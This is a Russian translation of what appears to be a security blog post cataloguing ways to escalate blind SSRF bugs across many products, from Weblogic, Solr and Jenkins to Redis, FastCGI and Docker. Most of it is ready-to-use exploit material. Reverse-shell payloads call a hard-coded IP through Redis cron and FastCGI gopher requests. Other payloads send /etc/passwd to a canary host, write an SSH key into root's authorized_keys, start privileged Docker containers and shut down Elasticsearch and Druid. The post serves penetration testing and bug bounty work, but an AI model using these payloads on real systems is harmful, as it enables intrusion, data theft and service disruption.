
Исчерпывающий список всех возможных способов объединить вашу Blind SSRF-уязвимость в цепочку
Server Side Request Forgery происходит, когда вы можете заставить сервер выполнять произвольные запросы от вашего имени. Поскольку запросы выполняются сервером, возможно получение доступа к внутренним ресурсам из-за положения сервера в сети. В облачных средах SSRF представляет более серьёзный риск из-за наличия metadata endpoints, которые могут содержать чувствительные учётные данные или секреты.
При эксплуатации server-side request forgery мы часто можем оказаться в ситуации, когда ответ прочитать невозможно. В индустрии такое поведение часто называют «Слепой SSRF» (Blind SSRF). В таких ситуациях как доказать значимость уязвимости? Это интересное обсуждение было начато Джастином Гарднером в Twitter:
I've been finding a large amount of Blind SSRFs recently. What kind of one-shot RCE's have you guys used as pivots for these in the past? I've got access to some Kafka and a bunch of other things. @nnwakelam @thedawgyg
— Justin Gardner (@Rhynorater) January 13, 2021
Если вы можете получить доступ к внутренним ресурсам, существует ряд потенциальных цепочек эксплойтов, которые можно выполнить для доказательства воздействия. В этом посте блога мы постараемся подробно рассмотреть каждую известную цепочку эксплойтов при использовании слепого SSRF, и он будет обновляться по мере обнаружения и распространения новых техник.
Если мы пропустили какие-либо техники, пожалуйста, отправьте нам твит или личное сообщение: @assetnote, и мы добавим их в этот блог.
I tend to call them SSRF canaries, when chaining a blind SSRF to another SSRF internally which makes an additional call externally, or by an app-specific open redir or blind XXE. Confluence, Artifactory, Jenkins and JAMF have some that works well.
— Frans Rosén (@fransrosen) January 13, 2021
Чтобы подтвердить, что вы можете взаимодействовать с внутренними сервисами или приложениями, вы можете использовать «SSRF-канарейки».
Это когда мы можем запросить внутренний URL, который выполняет другой SSRF и отправляет запрос на ваш хост-канарейку. Если вы получите запрос на ваш хост-канарейку, это означает, что вы успешно достигли внутреннего сервиса, который также способен совершать исходящие запросы.
Это эффективный способ проверить, имеет ли SSRF-уязвимость доступ к внутренним сетям или приложениям, а также подтвердить наличие определённого программного обеспечения во внутренней сети. Вы также можете потенциально переместиться в более чувствительные части внутренней сети с помощью SSRF-канарейки, в зависимости от того, где она находится.
С целью поиска как можно большего числа внутренних хостов можно использовать DNS-источники данных, чтобы найти все записи, указывающие на внутренние хосты.
В облачных средах мы часто видим ELB, которые указывают на хосты внутри внутреннего VPC. В зависимости от того, в каком VPC находится целевой ресурс, возможно получение доступа к другим хостам в том же VPC.
Например, рассмотрим следующий хост, обнаруженный с помощью DNS-источников данных:```bash livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82
Можно предположить, что `es` означает Elasticsearch, и затем выполнить дальнейшие атаки на этот хост. Также можно распылить все эти слепые SSRF-пейлоады по всем «внутренним» хостам, которые были обнаружены этим методом. Это часто эффективно.
Чтобы найти больше внутренних хостов, я рекомендую взять все ваши DNS-данные и затем использовать что-то вроде [AltDNS](https://github.com/infosec-au/altdns) для генерации перестановок, а затем разрешать их с помощью [быстрого DNS-брутфорсера](https://github.com/blechschmidt/massdns).
После этого определите все вновь обнаруженные внутренние хосты и используйте их как часть вашей цепочки слепого SSRF.
## Утечки по побочным каналам
При эксплуатации уязвимостей слепого SSRF вы можете получить утечку некоторой информации об ответе. Например, предположим, что у вас есть слепой SSRF через XXE — сообщения об ошибках могут указывать, был ли:
- Ответ был возвращён
`Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.`
в отличие от
- Хост и порт недоступны
`Error parsing request: System.Net.WebException: Unable to connect to the remote server`
Аналогично, помимо XXE, веб-приложение также может иметь утечку по побочному каналу, которую можно обнаружить, изучив различия в:
- **Код состояния ответа**:
Онлайн внутренний ресурс:порт отвечает `200 OK`, а офлайн внутренний ресурс:порт — `500 Internal Server Error`
- **Содержимое ответа**:
Размер ответа в байтах меньше или больше в зависимости от того, доступен ли URL, который вы пытаетесь запросить.
- **Время ответа**:
Время ответа больше или меньше в зависимости от того, доступен ли URL, который вы пытаетесь запросить.
---------------
# Техники
**Возможно через HTTP(s)**
- [Elasticsearch](#elasticsearch)
- [Weblogic](#weblogic)
- [Hashicorp Consul](#consul)
- [Shellshock](#shellshock)
- [Apache Druid](#druid)
- [Apache Solr](#solr)
- [PeopleSoft](#peoplesoft)
- [Apache Struts](#struts)
- [JBoss](#jboss)
- [Confluence](#confluence)
- [Jira](#jira)
- [Другие продукты Atlassian](#atlassian-products)
- [OpenTSDB](#opentsdb)
- [Jenkins](#jenkins)
- [Hystrix Dashboard](#hystrix)
- [W3 Total Cache](#w3)
- [Docker](#docker)
- [Gitlab Prometheus Redis Exporter](#redisexporter)
**Возможно через Gopher**
- [Redis](#redis)
- [Memcache](#memcache)
- [Apache Tomcat](#tomcat)
- [FastCGI](#fastcgi)
- [Java RMI](#java-rmi)
**Инструменты**
- [Gopherus](#gopherus)
- [remote-method-guesser](#remote-method-guesser)
- [SSRF Proxy](#ssrfproxy)
----------------------------------
**Возможно через HTTP(s)**
<div id="elasticsearch"></div>
## Elasticsearch
**Обычно используемый порт: 9200**
При внутреннем развертывании Elasticsearch обычно не требует аутентификации.
Если у вас есть частично слепой SSRF, при котором вы можете определить код состояния, проверьте, возвращают ли следующие конечные точки код 200:```http
/_cluster/health
/_cat/indices
/_cat/health
Если у вас есть слепой SSRF, при котором можно отправлять POST-запросы, вы можете остановить экземпляр Elasticsearch, отправив POST-запрос на следующий путь:
Примечание: API _shutdown был удалён в Elasticsearch версии 2.x и выше. Это работает только в Elasticsearch 1.6 и ниже:```http
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdown
<div id="weblogic"></div>
## Weblogic
**Часто используемые порты: 80, 443 (SSL), 7001, 8888**
**SSRF-канарейка: UDDI Explorer (CVE-2014-4210)**```http
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
Это также работает через GET:```bash http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
Этот endpoint также уязвим к CRLF-инъекции:```
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
Приведет к следующему запросу:``` root@mail:~# nc -lvp 4000 Listening on [0.0.0.0] (family 0, port 4000) Connection from example.com 43111 received! POST /exp HTTP/1.11 X-CLRF: Injected HTTP/1.1 Content-Type: text/xml; charset=UTF-8 soapAction: "" Content-Length: 418 User-Agent: Java1.6.0_24 Host: attacker.com:4000 Accept: text/html, image/gif, image/jpeg, /; q=.2 Connection: Keep-Alive
sdf**SSRF Canary: CVE-2020-14883**
Взято [отсюда](https://forum.90sec.com/t/topic/1412).
Linux:```http
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")
Windows:```http POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1 Host: vulnerablehost:7001 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")
<div id="consul"></div>
## Hashicorp Consul
**Часто используемые порты: 8500, 8501 (SSL)**
Разбор можно найти [здесь](https://www.kernelpicnic.net/2017/05/29/Pivoting-from-blind-SSRF-to-RCE-with-Hashicorp-Consul.html).
<div id="shellshock"></div>
## Shellshock
**Часто используемые порты: 80, 443 (SSL), 8080**
Для эффективного тестирования Shellshock может потребоваться добавить заголовок, содержащий payload. Следующие CGI-пути стоит попробовать:
Короткий список CGI-путей для тестирования:
[Gist с путями](https://gist.github.com/infosec-au/009fcbdd5bad16bb6ceb36b838d96be4).
**SSRF Canary: Shellshock через User Agent**```bash
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARY
Часто используемые порты: 80, 8080, 8888, 8082
См. справочник по API для Apache Druid здесь.
Если вы можете просмотреть код состояния, проверьте следующие пути, чтобы увидеть, возвращают ли они код состояния 200:```bash /status/selfDiscovered/status /druid/coordinator/v1/leader /druid/coordinator/v1/metadata/datasources /druid/indexer/v1/taskStatus
Задачи завершения работы требуют, чтобы вы угадывали идентификаторы задач или имя источника данных:```bash
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasks
Остановка супервизоров на Apache Druid Overlords:```bash /druid/indexer/v1/supervisor/terminateAll /druid/indexer/v1/supervisor/{supervisorId}/shutdown
<div id="solr"></div>
## Apache Solr
**Часто используемый порт: 8983**
**SSRF-канарейка: параметр Shards**
<blockquote class="twitter-tweet" data-conversation="none" data-theme="dark"><p lang="en" dir="ltr">В дополнение к тому, что говорит shubham — сканирование Solr относительно простое. Существует параметр shards=, который позволяет перебрасывать SSRF к SSRF, чтобы вслепую проверить, что вы попали в экземпляр Solr.</p>— Хавиж Наффи 🥕 (@nnwakelam) <a href="https://twitter.com/nnwakelam/status/1349298311853821956?ref_src=twsrc%5Etfw">13 января 2021 г.</a></blockquote>
Взято из [здесь](https://github.com/veracode-research/solr-injection).```bash
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
SSRF Canary: Solr XXE (2017)
Apache Solr 7.0.1 XXE (Packetstorm)```bash /solr/gettingstarted/select?q={!xmlparser v='' /xxx?q={!type=xmlparser v=""}
**RCE через dataImportHandler**
[Исследование RCE через dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)
<div id="peoplesoft"></div>
## PeopleSoft
**Обычно используемые порты: 80,443 (SSL)**
Взято из этого исследования [здесь](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).
**SSRF-канарейка: XXE #1**```http
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>
SSRF Canary: XXE #2```http POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1 Host: website.com Content-Type: application/xml ...
<div id="struts"></div>
## Apache Struts
**Часто используемые порты: 80,443 (SSL),8080,8443 (SSL)**
Взято [отсюда](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
**SSRF Canary: Struts2-016**:
Добавьте это в конец каждой известной вам внутренней конечной точки/URL:```http
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
Обычно используемые порты: 80,443 (SSL),8080,8443 (SSL)
Взято отсюда.
SSRF-канарейка: развертывание WAR из URL```bash /jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
<div id="confluence"></div>
## Confluence
**Обычно используемые порты: 80, 443 (SSL), 8080, 8443 (SSL)**
**SSRF-канарейка: Sharelinks (версии Confluence, выпущенные с ноября 2016 года и ранее)**```bash
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)
Тикет безопасности Atlassian OAUTH-344```bash /plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
<div id="jira"></div>
## Jira
**Обычно используемые порты: 80,443 (SSL),8080,8443 (SSL)**
**SSRF-канарейка: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)**
[Тикет безопасности Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
SSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)
Тикет безопасности Atlassian JRASERVER-69793```bash /plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:[email protected]
<div id="atlassian-products"></div>
## Другие продукты Atlassian
**Часто используемые порты: 80,443 (SSL),8080,8443 (SSL)**
**SSRF-канарейка: iconUriServlet (CVE-2017-9506)**:
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2
[Тикет безопасности Atlassian OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)```bash
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
Часто используемый порт: 4242
Удалённое выполнение кода в OpenTSDB
SSRF-канарейка: curl через RCE```bash /q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
[Удаленное выполнение кода в OpenTSDB 2.4.0](https://github.com/OpenTSDB/opentsdb/issues/2051)
**SSRF Canary: curl через RCE - CVE-2020-35476**```bash
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&json
Обычно используемые порты: 80,443 (SSL),8080,8888
Отличный разбор здесь.
SSRF Canary: CVE-2018-1000600```bash /securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
**RCE**
Следуйте инструкциям здесь, чтобы добиться RCE через GET: [Взлом Jenkins, часть 2 — Злоупотребление метапрограммированием для неаутентифицированного RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)```bash
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
RCE через Groovy``` cmd = 'curl burp_collab' pay = 'public class x {public x(){"%s".execute()}}' % cmd data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
<div id="hystrix"></div>
## Hystrix Dashboard
**Часто используемые порты: 80,443 (SSL),8080**
Spring Cloud Netflix, версии 2.2.x до 2.2.4, версии 2.1.x до 2.1.6.
**SSRF Canary: CVE-2020-5412**```bash
/proxy.stream?origin=http://SSRF_CANARY/
Часто используемые порты: 80,443 (SSL)
W3 Total Cache 0.9.2.6-0.9.3
SSRF Canary: CVE-2019-6715
Это должен быть PUT-запрос:```bash PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1 Host: {{Hostname}} Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36 Content-Length: 124 Content-Type: application/x-www-form-urlencoded Connection: close
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
**SSRF Canary**
Уведомление об этой уязвимости было опубликовано здесь: [W3 Total Cache SSRF vulnerability](https://klikki.fi/adv/w3_total_cache.html)
Этот PHP-код сгенерирует payload для вашего SSRF Canary хоста (замените `url` на ваш canary host):```php
<?php
$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);
?>
Часто используемые порты: 2375, 2376 (SSL)
Если у вас есть частично слепой SSRF, вы можете использовать следующие пути для проверки наличия Docker API:```bash /containers/json /secrets /services
**RCE через запуск произвольного docker-образа**```http
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
Замените alpine на произвольный образ, который вы хотите запустить в docker-контейнере.
Обычно используемые порты: 9121
Эта уязвимость затрагивает экземпляры Gitlab до версии 13.1.1. Согласно документации Gitlab Prometheus и его экспортеры включены по умолчанию, начиная с GitLab 9.0.
Эти экспортеры предоставляют отличный способ для атакующего совершить pivoting и атаковать другие сервисы, используя CVE-2020-13379. Одним из экспортеров, который легко эксплуатируется, является Redis Exporter.
Следующий endpoint позволит атакующему выгрузить все ключи на redis-сервере, переданном через параметр target:```bash http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
**Возможно через Gopher**
<div id="redis"></div>
## Redis
**Обычно используемый порт: 6379**
Рекомендуемое чтение:
- [Попытка взлома Redis через HTTP-запросы](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
- [SSRF-эксплойты против Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
**RCE через Cron** - [Поверхности атак Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/)```bash
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
Gopher:```bash gopher://127.0.0.1:6379/_1%0d%0a$8%0d%0aflushall%0d%0a3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
**RCE через загрузку шелла (PHP)** - [Сводка по Redis Getshell](https://www.mdeditor.tw/pl/pBy0)```python
#!/usr/bin/env python
# -*-coding:utf-8-*-
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
RCE через authorized_keys - Сводка по Redis Getshell```python import urllib protocol="gopher://" ip="192.168.189.208" port="6379"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n" filename="authorized_keys" path="/root/.ssh/" passwd="" cmd=["flushall", "set 1 {}".format(sshpublic_key.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd
if name=="main": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
**RCE на GitLab через протокол Git**
Отличный разбор от Liveoverflow [здесь](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/).
Хотя для эксплуатации требовался аутентифицированный доступ к GitLab, я привожу здесь полезную нагрузку, поскольку протокол `git` может работать на цели, которую вы взламываете. Эта полезная нагрузка приведена для справки.```bash
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
Обычно используемый порт: 11211
<div id="tomcat"></div>
## Apache Tomcat
**Часто используемые порты: 80,443 (SSL),8080,8443 (SSL)**
Эффективно только против Tomcat 6:
[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)
Разбор CTF с использованием этой техники:
[От XXE к RCE: разбор Pwn2Win CTF 2018](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
<div id="fastcgi"></div>
## FastCGI
**Часто используемые порты: 80,443 (SSL)**
Это взято из [этой статьи](https://blog.chaitin.cn/gopher-attack-surfaces/).```bash
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
Часто используемые порты: 1090,1098,1099,1199,4443-4446,8999-9010,9999
Слепые уязвимости SSRF, позволяющие передавать произвольные байты (на основе gopher), можно использовать для выполнения десериализации или codebase-атак на стандартные компоненты Java RMI (RMI Registry, Distributed Garbage Collector, Activation System). Подробный разбор можно найти здесь. В следующем листинге показан пример генерации полезной нагрузки:```console $ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher [+] Creating ysoserial payload... done. [+] [+] Attempting deserialization attack on RMI Registry endpoint... [+] [+] SSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]
**Инструменты**
<div id="gopherus"></div>
## Gopherus
- [Gopherus - Github](https://github.com/tarunkant/Gopherus)
- [Запись в блоге о Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
Этот инструмент генерирует Gopher-полезные нагрузки для:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
<div id="remote-method-guesser"></div>
## remote-method-guesser
- [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser)
- [Запись в блоге об использовании SSRF](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)
*remote-method-guesser* — это сканер уязвимостей *Java RMI*, поддерживающий атакующие операции для большинства распространённых уязвимостей *Java RMI*. Большинство доступных операций поддерживают опцию ``--ssrf`` для генерации *SSRF*-полезной нагрузки для запрошенной операции. Вместе с опцией ``--gopher`` можно напрямую генерировать готовые к использованию *gopher*-полезные нагрузки.
<div id="ssrfproxy"></div>
## SSRF Proxy
- [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
SSRF Proxy — это многопоточный HTTP-прокси-сервер, предназначенный для туннелирования клиентского HTTP-трафика через HTTP-серверы, уязвимые к Server-Side Request Forgery (SSRF).
---
Благодарности:
Спасибо следующим людям, внёсшим вклад в эту публикацию:
- [@Rhynorater - Многочисленные правки и дополнения к этой публикации](https://twitter.com/Rhynorater)
- [@nnwakelam - Solr Shards SSRF](https://twitter.com/nnwakelam)
- [@marcioalm - Tomcat 6 Gopher RCE](https://twitter.com/marcioalm)
- [@vtnahira - OpenTSDB RCE](https://twitter.com/vtnahira)
- [@fransrosen - Концепция SSRF-канареек](https://twitter.com/fransrosen)
- [@theabrahack - RCE через Jenkins Groovy](https://twitter.com/@theabrahack)
- [@qtc_de - RCE через Java RMI](https://twitter.com/qtc_de)